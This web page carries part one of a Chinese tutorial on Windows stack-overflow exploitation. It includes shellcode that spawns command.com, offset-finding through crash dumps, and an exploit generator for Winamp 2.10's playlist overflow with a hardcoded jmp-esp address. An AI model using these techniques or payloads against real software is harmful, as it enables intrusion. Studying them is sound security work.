| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  window系统下的堆栈溢出          【字体:
window系统下的堆栈溢出
作者:佚名    文章来源:CnXHacker.Net    点击数:    更新时间:2007-6-25    
◆ window系统下的堆栈溢出 作者:ipxodi<< mailto:ipxodi@263.net >> 日期:2000-3-2 ◆原理篇 这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的 堆栈溢出漏洞。 让我们从头开始。windows 98第二版 首先,我们来写一个问题程序: #include <stdio.h> int main() { char name[32]; gets(name); for(int i=0;i<32&&name[i];i++) printf("\\0x%x",name[i]); } 相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程序 一个很长的串,肯定可以覆盖堆栈中的返回地址。 C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61 \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61 到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点击 详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。 这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置。 C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1 12345678910111213141516171819202122232425262728293031323334353637383940 \0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32\0x31 \0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30\0x32 到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细信息 按钮,下面是详细信息: VUNERABLE 在 00de:32363235 的模块 <未知> 中导致无效页错误。 Registers: EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246 EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233 ECX=00000020 DS=0187 ESI=816bffcc FS=11df EDX=00411a68 ES=0187 EDI=00000000 GS=0000 Bytes at CS:EIP: Stack dump: 32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c 哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算 一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name变量 地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的shellcode。 我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址 是多少呢? 通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为 0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在windows 系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都 是相同的。也就是说,每次运行,name的地址都是0x64fdd4。 讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测, 出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析 溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。 OK,万事具备,只差shellcode了。 首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个 dos窗口,这样在这个窗口下,我们就可以作很多事情。 开一个dos窗口的程序如下: #include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; char dllbuf[11] = "msvcrt.dll"; char sysbuf[7] = "system"; char cmdbuf[16] = "command.com"; LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf); (ProcAdd) (cmdbuf); return 0; } 这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个 dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。 但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说, windows通过动态链接库来提供系统函数。这就是所谓的Dll's。 因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个 包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一个 基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由msvcrt.dll (the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从 0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地址 只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上, msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。 所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接库 msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system) 获得 system的真实地址。之后才能使用这个真实地址来调用system函数。 好了,现在可以编译执行,结果正确,我们得到了一个dos框。 现在对这个程序进行调试跟踪汇编语言,可以得到: 15: LibHandle = LoadLibrary(dllbuf); 00401075 lea edx,dword ptr [dllbuf] 00401078 push edx 00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)] 0040107F mov dword ptr [LibHandle],eax 16: 17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf); 00401082 lea eax,dword ptr [sysbuf] 00401085 push eax 00401086 mov ecx,dword ptr [LibHandle] 00401089 push ecx 0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)] 00401090 mov dword ptr [ProcAdd],eax ;现在,eax的值为0x78019824就是system的真实地址。 ;这个地址对于我的机器而言是唯一的。不用每次都找了。 18: 19: (ProcAdd) (cmdbuf); 00401093 lea edx,dword ptr [cmdbuf] ;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址 00401096 push edx 00401097 call dword ptr [ProcAdd] 0040109A add esp,4 现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代码 是否能够像我们设计的那样工作: #include <windows.h> #include <winbase.h> void main() { LoadLibrary("msvcrt.dll"); __asm { mov esp,ebp ;把ebp的内容赋值给esp push ebp ;保存ebp,esp-4 mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针 xor edi,edi ; push edi ;压入0,esp-4, ;作用是构造字符串的结尾\0字符。 sub esp,08h ;加上上面,一共有12个字节, ;用来放"command.com"。 mov byte ptr [ebp-0ch],63h ; mov byte ptr [ebp-0bh],6fh ; mov byte ptr [ebp-0ah],6dh ; mov byte ptr [ebp-09h],6Dh ; mov byte ptr [ebp-08h],61h ; mov byte ptr [ebp-07h],6eh ; mov byte ptr [ebp-06h],64h ; mov byte ptr [ebp-05h],2Eh ; mov byte ptr [ebp-04h],63h ; mov byte ptr [ebp-03h],6fh ; mov byte ptr [ebp-02h],6dh ;生成串"command.com". lea eax,[ebp-0ch] ; push eax ;串地址作为参数入栈 mov eax, 0x78019824 ; call eax ;调用system } } 编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起了 当年用286的时候了? 敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我们的 程序已经把堆栈指针搞乱了。 对上面的算法进行优化,现在我们可以写出shellcode如下: char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }; 还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个shellcode: #include <windows.h> #include <winbase.h> char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }; int main() { int *ret; LoadLibrary("msvcrt.dll"); ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因为:有push ebp ,否则加1就可以了。) (*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。 } 编译运行,得到dos对话框。 现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算 偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆栈溢出 的能力了,下面,我们通过实战来真正掌握他。 ◆溢出字符串的设计 我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算 偏移地址,以及如何编写一个shellcode以得到dos。 但是这远远不够。 大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。 事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址 和堆栈指针都会含有0,那么我们的返回地址就必然含有0。 现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode 由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确 的放在确切的函数堆栈中的ret位置。 事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。 其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充 (实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖! ----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用?? 所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区 溢出发生之后,堆栈的布局如下: 内存底部 内存顶部 buffer EBP ret <------ [NNNNNNNNNNN][N ] [A ]SSSS ^&buffer 堆栈顶部 堆栈底部 看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调用。 但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断, 根本无法到shellcode。我们需要把A改成不包含0的地址。 好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode, 又可以不包含0字节呢? 大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧? 他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转 的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新 的windows缓冲区溢出的思路。 思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话 A里面必然含有0。我们知道系统核心的dll都是在2-4G,也就是从0x80000000到 0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。 因此,我们可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的 作用就是call/jmp 我们的shellcode。 但是他怎么才能知道我们的shellcode的地址呢? 答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外, 其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息。 比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,shellcode 的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call [ebp+4]或者 我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用shellcode。 这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和 堆栈的详细资料。 那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次都在 内存中可以直接调用呢? 答案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll. 这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。 你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序 自己的import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够了。 好,那么我们的shellcode最终为: NNNNNNNNNNNNNNNASSSSSSSS 其中:N为NOP指令 A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存>0x80000000, 这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。 S:shellcode。 有了这些基础知识,我们来分析一个实例。 大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。 winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度 如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。 test.cpp ---------------------------------------------------------------------------- #include <stdio.h> int main() { char buffer[640]; char eip[8] = ""; char sploit[256] = ""; FILE *file; for(int x=0;x<640;x++) { switch(x%4) { case 0: buffer[x] = 'A';break; case 1: buffer[x] = 'A'+x/26%26/26%26; break; case 2: buffer[x] = 'A'+x/26%26; break; case 3: buffer[x] = 'A'+x%26;break; } } buffer[x]=0; file = fopen("crAsh.pls","wb"); fprintf(file, "[playlist]\n"); fprintf(file, "File1="); fprintf(file, "%s", buffer); fprintf(file, "%s", eip); fprintf(file, "%s", sploit); fprintf(file, "\nNumberOfEntries=1"); fclose(file); printf("\t created file crAsh.pls loaded with the exploit.\n"); return 0; } ---------------------------------------------------------------------------- 算法很简单,是写出一个crach.pls文件,内容可以根据那几个fprintf看出来的。 我就不讲了,其中buffer的内容为测试用的字符串。这个测试程序可以测试 最长为26^3的串,足够了。 编译执行,看看结果,嘿,发生了堆栈溢出,结果如下: WINAMP 在 00de:4c574141 的模块 <未知> 中导致无效页错误。 Registers: EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=4bd7 EDX=005b02dc ES=0187 EDI=00000001 GS=4206 Bytes at CS:EIP: Stack dump: 50574141 54574141 58574141 42584141 46584141 4a584141 4e584141 52584141 56584141 5a584141 44594141 48594141 4c594141 50594141 根据eip=4141574c计算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580. 好,溢出的位置为580。 大家现在知道我们的溢出字符串中,返回地址A应该在串的580处,那么我们应该 让他使用什么call/jmp指令以达到shellcode呢? 看看寄存器dump,我们发现ESP里面的内容是41415750,恰好是4141574c之后的 第一个数。看来ESP指向我们的shellcode,太棒了!我们使用指令: jmp ESP 就可以执行我们的shellcode了。 现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF E4. 因为系统核心dll的加载地址都是从地址0xBf000000开始,所以我们 搜索s Bf000000 L ffffffff ff,e4 得到了哪些结果? 一堆呀,这第一个是:BFF795A3。看看softice里面的进程名称栏: Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。 ok,问题解决,我们现在可以确定在buffer〔580〕处,写入四个字节: "\xa3\x95\xf7\xbf".这就是我们的溢出字符串中的返回地址A。 好了,现在溢出字符串已经基本分析完了,就差shellcode了。 下面我们来写shellcode。 我们的shellcode要开一个d</p><p align='center'><b><font color='red'>[1]</font>&nbsp;<a href='/Article/program/hacker/200706/9956_2.html'>[2]</a>&nbsp;<a href='/Article/program/hacker/200706/9956_3.html'>[3]</a>&nbsp;<a href='/Article/program/hacker/200706/9956_2.html'>下一页</a> </b></p> <center></center></td> </tr> <tr> <td class=Article_tdbgall align=right colSpan=2>文章录入:IceRiver&nbsp;&nbsp;&nbsp;&nbsp;责任编辑:admin&nbsp; </td> </tr> <tr> <td width=5></td> <td width=752><li>上一篇文章: <a class='LinkPrevArticle' href='/Article/program/hacker/200706/9840.html' title='文章标题:每秒4W的DDOS源码 作&nbsp;&nbsp;&nbsp;&nbsp;者:不详 更新时间:2007-6-16 2:21:19'>每秒4W的DDOS源码</a></li><BR><li>下一篇文章: <a class='LinkNextArticle' href='/Article/program/hacker/200707/10106.html' title='文章标题:ASP编写的加密和解密类 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-7-3 1:58:15'>ASP编写的加密和解密类</a></li></td> </tr> <tr class=Article_tdbgall align=right> <td colSpan=2> 【<a href='/Article/Comment.asp?ArticleID=9956' target='_blank'>发表评论</a>】【<a href='/User/User_Favorite.asp?Action=Add&ChannelID=1&InfoID=9956' target='_blank'>加入收藏</a>】【<a href='/Article/SendMail.asp?ArticleID=9956' target='_blank'>告诉好友</a>】【<a href='/Article/Print.asp?ArticleID=9956' target='_blank'>打印此文</a>】【<a href='javascript:window.close();'>关闭窗口</a>】 </td> </tr> </table> <table class=center_tdbgall cellSpacing=0 cellPadding=0 width=760 align=center border=0> <tr> <td class=main_shadow></td> </tr> </table> <!--文章显示代码结束--> <!--最新热点、最新推荐、相关文章代码开始--> <table class=center_tdbgall style="WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width=760 align=center border=0> <tr> <td class=main_title_282 width="33%"><B>最新热点</B></td> <td width=5 rowSpan=2></td> <td class=main_title_282 width="33%"><B>最新推荐</B></td> <td width=5 rowSpan=2></td> <td class=main_title_282 width="33%"><B>相关文章</B></td> </tr> <tr> <td class=main_tdbg_760 vAlign=top height=100><script language="javascript" src="/Article/JS/Article_Hot3.js"></script></td> <td class=main_tdbg_760 vAlign=top width="33%"><script language="javascript" src="/Article/JS/Article_Elite3.js"></script></td> <td class=main_tdbg_760 vAlign=top width="33%"><a class='LinkArticleCorrelative' href='/Article/safe/config/200709/11039.html' title='文章标题:如何分级防御针对Linux服务器的攻击 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-16 5:15:41' target="_self">如何分级防御针对Linux服务器</a><br><a class='LinkArticleCorrelative' href='/Article/hacker/inbreak/200709/11034.html' title='文章标题:活地运用SQL&nbsp;Injection做数据库渗透 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-16 5:21:18' target="_self">活地运用SQL&nbsp;Injection做数据</a><br><a class='LinkArticleCorrelative' href='/Article/news/trade/200709/11020.html' title='文章标题:Skype用户须警惕新Windows蠕虫病毒 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-16 1:15:30' target="_self">Skype用户须警惕新Windows蠕</a><br><a class='LinkArticleCorrelative' href='/Article/news/trade/200709/11000.html' title='文章标题:McAfee发布Windows&nbsp;Mobile风险报告 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-16 1:13:04' target="_self">McAfee发布Windows&nbsp;Mobile风</a><br><a class='LinkArticleCorrelative' href='/Article/safe/other/200709/10988.html' title='文章标题:Windows&nbsp;Vista对付ARP病毒有新招 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-10 4:43:26' target="_self">Windows&nbsp;Vista对付ARP病毒有</a><br><a class='LinkArticleCorrelative' href='/Article/hacker/inbreak/200709/10958.html' title='文章标题:非主流入侵之会话劫持winnt/2k&nbsp;HASH 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-10 4:39:44' target="_self">非主流入侵之会话劫持winnt/</a><br><a class='LinkArticleCorrelative' href='/Article/news/trade/200709/10948.html' title='文章标题:US&nbsp;CERT:谷歌eBay雅虎网站均存Wi-Fi漏洞 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-10 4:36:43' target="_self">US&nbsp;CERT:谷歌eBay雅虎网站均</a><br><a class='LinkArticleCorrelative' href='/Article/news/trade/200709/10921.html' title='文章标题:微软今日发布Windows&nbsp;Live测试版 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-10 4:35:14' target="_self">微软今日发布Windows&nbsp;Live测</a><br><a class='LinkArticleCorrelative' href='/Article/news/vuls/200709/10916.html' title='文章标题:SIDVault&nbsp;Simple_Bind&nbsp;函数多个远程溢出安全漏洞 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-4 23:58:31' target="_self">SIDVault&nbsp;Simple_Bind&nbsp;函数多</a><br><a class='LinkArticleCorrelative' href='/Article/news/vuls/200709/10898.html' title='文章标题:Thomson&nbsp;SpeedTouch&nbsp;2030&nbsp;SIP畸形INVITE远程漏洞 作&nbsp;&nbsp;&nbsp;&nbsp;者:佚名 更新时间:2007-9-3 14:54:32' target="_self">Thomson&nbsp;SpeedTouch&nbsp;2030&nbsp;SI</a><br></td> </tr> </table> <table class=center_tdbgall cellSpacing=0 cellPadding=0 width=760 align=center border=0> <tr> <td class=main_shadow></td> </tr> </table> <!--最新热点、最新推荐、相关文章代码结束--> <!--网友评论代码开始--> <table class=center_tdbgall style="WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width=760 align=center border=0> <tr class=main_title_760> <td height=25> <IMG src="/Images/TEAM.gif" align=absMiddle> <STRONG>网友评论:</STRONG>(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) </td> </tr> <tr> <td class=main_tdbg_760><script language="javascript" src="/Article/Comment.asp?Action=JS&CommentNum=5&ArticleID=9956"></script> </td> </tr> </table> <table class=center_tdbgall cellSpacing=0 cellPadding=0 width=760 align=center border=0> <tr> <td class=main_shadow></td> </tr> </table> <!--网友评论代码结束--> <!-- ********网页中部代码结束******** --> <!-- ********网页底部代码开始******** --> <TABLE height=22 cellSpacing=0 cellPadding=0 width=760 align=center bgColor=#748FA9 background=/skin/2006/bottomBG.gif border=0> <TBODY> <TR> <TD background=/skin/2006/hbline.gif bgColor=#ffffff colSpan=2 border="0"><IMG height=1 src="/skin/2006/a.gif" width=760></TD> </TR> <TR> <TD width=580 height=22 class=Bottom_Adminlogo>&nbsp; <A class=Bottom href="/info/about.html">关于我们</A> - <A class=Bottom href="/Copyright.asp">版权声明</A> - <A class=Bottom href="/info/HELP.html">帮助(?)</A> - <A class=Bottom href="/info/AxD.html">广告服务</A> - <A class=Bottom href="/info/contact.html">联系我们</A> - <A class=Bottom href="/FriendSite/">友情链接</A> - <A class=Bottom href="/info/userreg.html">用户注册</A> - </TD> <TD width=180 height=22><FONT title="WwW.CnXHacker.CoM IceRiver Studio" style="FONT-SIZE: 10px; FONT-FAMILY: Arial,Sans-serif" color=#333333>Powered by ICE RIVER - STUDIO</FONT> </TD> </TR> <TR> <TD bgColor=#000000 colSpan=2><IMG height=1 src="/skin/2006/a.gif" width=760></TD> </TR> </TBODY> </TABLE> <TABLE height=15 cellSpacing=0 cellPadding=0 width=760 align=center border=0> <TBODY> <TR> <TD align=right width=120 bgColor=#3F4E5C height=15> <FONT style="FONT-SIZE: 10px" color=#ffffff><B>&raquo;</B> <A href="#top"><B><FONT face=Verdana,Sans-serif; color=#ffffff>CnXHacker.CoM</FONT></B></A></FONT> </TD> <TD width=15 height=15 align=right valign="top"><IMG height=16 src="/skin/2006/img_bottom.gif" width=40 border=0></TD> <TD width=* height=16 align="center">&nbsp; <FONT title="中国X黑客小组&#8482; 版权所有&copy; WwW.CnXHacker.CoM" style="FONT-SIZE: 9px; COLOR: #333333" face=Verdana, sans-serif helvetica,arial,>&copy; CopyRight 2002-2006, CnXHacker.CoM&#8482;, Inc. All Rights Reserved. </FONT></TD> <TD align=right>&nbsp;</TD> </TR> </TBODY> </TABLE> <!-- ********网页底部代码结束******** --> </body> </html><NOSCRIPT><IFRAME src='*' Width='0' Height='0'></IFRAME></NOSCRIPT>